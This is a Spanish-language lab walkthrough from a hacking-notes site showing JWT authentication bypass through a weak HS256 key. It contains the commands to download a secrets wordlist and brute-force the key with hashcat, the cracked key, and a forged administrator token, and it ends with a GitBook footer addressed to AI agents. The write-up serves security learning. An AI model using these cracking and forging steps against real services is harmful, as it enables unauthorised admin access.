> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/jwt/jwt-authentication-bypass-with-a-weak-key.md).

# Elusión de autenticación JWT con una clave débil

### Bypass de autenticación JWT mediante una clave de firma débil

**Descripción del laboratorio**

Este laboratorio utiliza un mecanismo de sesión basado en JWT. / La clave secreta utilizada para **firmar y verificar tokens es extremadamente débil**, permitiendo que **se rompa fácilmente** usando una lista de secretos comunes.

Objetivo:

* Encuentra la clave secreta utilizada por el servidor. \*Forjar un JWT válido con esta clave para acceder al `/admin` panel de administración.
* Eliminar usuario **carlos**.

Credenciales proporcionadas\:/ `wiener:peter`

\*\* JWT inicial recuperado\*\*

{% code overflow="wrap" %}

```bash
eyJraWQiOiIzY2YwN2U1OC03N2RkLTQ5MjItYThiMi03MDJjZTdlNWI2ZTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMzIxMywic3ViIjoid2llbmVyIn0.kjImRYXxwKADFnrNT6GRsF3eHmD5IDqvTwpLBuHaKv4
```

{% endcode %}

Se observa que el algoritmo utilizado es **HS256**, por lo tanto un **algoritmo simétrico** basado en un secreto compartido.

**Ataque de fuerza bruta a la clave secreta**

Usamos una lista de secretos JWT comunes:

```bash
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/refs/heads/master/jwt.secrets.list
```

Luego lanza el ataque de fuerza bruta con **hashcat**:

```bash
hashcat -a 0 jwt jwt.secrets.list
```

<figure><img src="/files/9cf5b38421c5f07ad34fa6cfa8d062bdfeca8370" alt=""><figcaption></figcaption></figure>

Resultado:

* Clave secreta encontrada: **`secret1`**

<figure><img src="/files/9dd8efdbd52cac77b58319ddf51d4601536cd66d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b508c073e2f99ef34f4658f285f70abd222de4dc" alt=""><figcaption></figcaption></figure>

**Preparación de la clave para la firma**

El **Editor JWT** la extensión espera la clave en formato Base64.

Codificación de la clave:

```bash
c2VjcmV0MQ==
```

<figure><img src="/files/5bd418aad95f971a114d48f98ed0c3a7b849c615" alt=""><figcaption></figcaption></figure>

Creación de una clave simétrica en JWT Editor:

```json
{
    "kty": "oct",
    "kid": "caa550f1-7d46-472b-a09f-8fa958937e48",
    "k": "c2VjcmV0MQ=="
}
```

<figure><img src="/files/d3923bc74d6d25261d4482e34607c82ba73be37e" alt=""><figcaption></figcaption></figure>

Se genera luego un ID de clave (`kid`) y se utiliza para firmar el token.

<figure><img src="/files/651906e2bb4e8d2a24fe9ef85194920aa5c89efb" alt=""><figcaption></figcaption></figure>

**Modificación de JWT**

* Intercepción de la solicitud que contiene el JWT.
* Cambia el `sub` campo:
* `wiener` → `administrator`

<figure><img src="/files/4cc43d054c97d84b4783331344ed3575ae237d76" alt=""><figcaption></figcaption></figure>

Re-firma del token con la clave secreta encontrada

<figure><img src="/files/271af6451140e60bd1fe13a2e5ef3e361da17ff3" alt=""><figcaption></figcaption></figure>

JWT forjado final:

```bash
eyJraWQiOiI5MTVjNmE0Yy1iNzA3LTRmMmYtOTU3Ny05ODdhNWNhMzM1YjYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzNDY3MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.8VSJ5AinItZtayGFFfgsGidQuEIcxlzY6clVk1moITQ
```

**Resultado**

* El servidor acepta el JWT firmado con la clave débil.
* Acceso exitoso al `/admin` panel.
* El usuario es reconocido como \*\* administrador\*\*.
* El laboratorio se valida después de eliminar al usuario **carlos**.

<figure><img src="/files/b624a459c42ea41dc92fe9f1c2ea581c66481318" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/jwt/jwt-authentication-bypass-with-a-weak-key.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
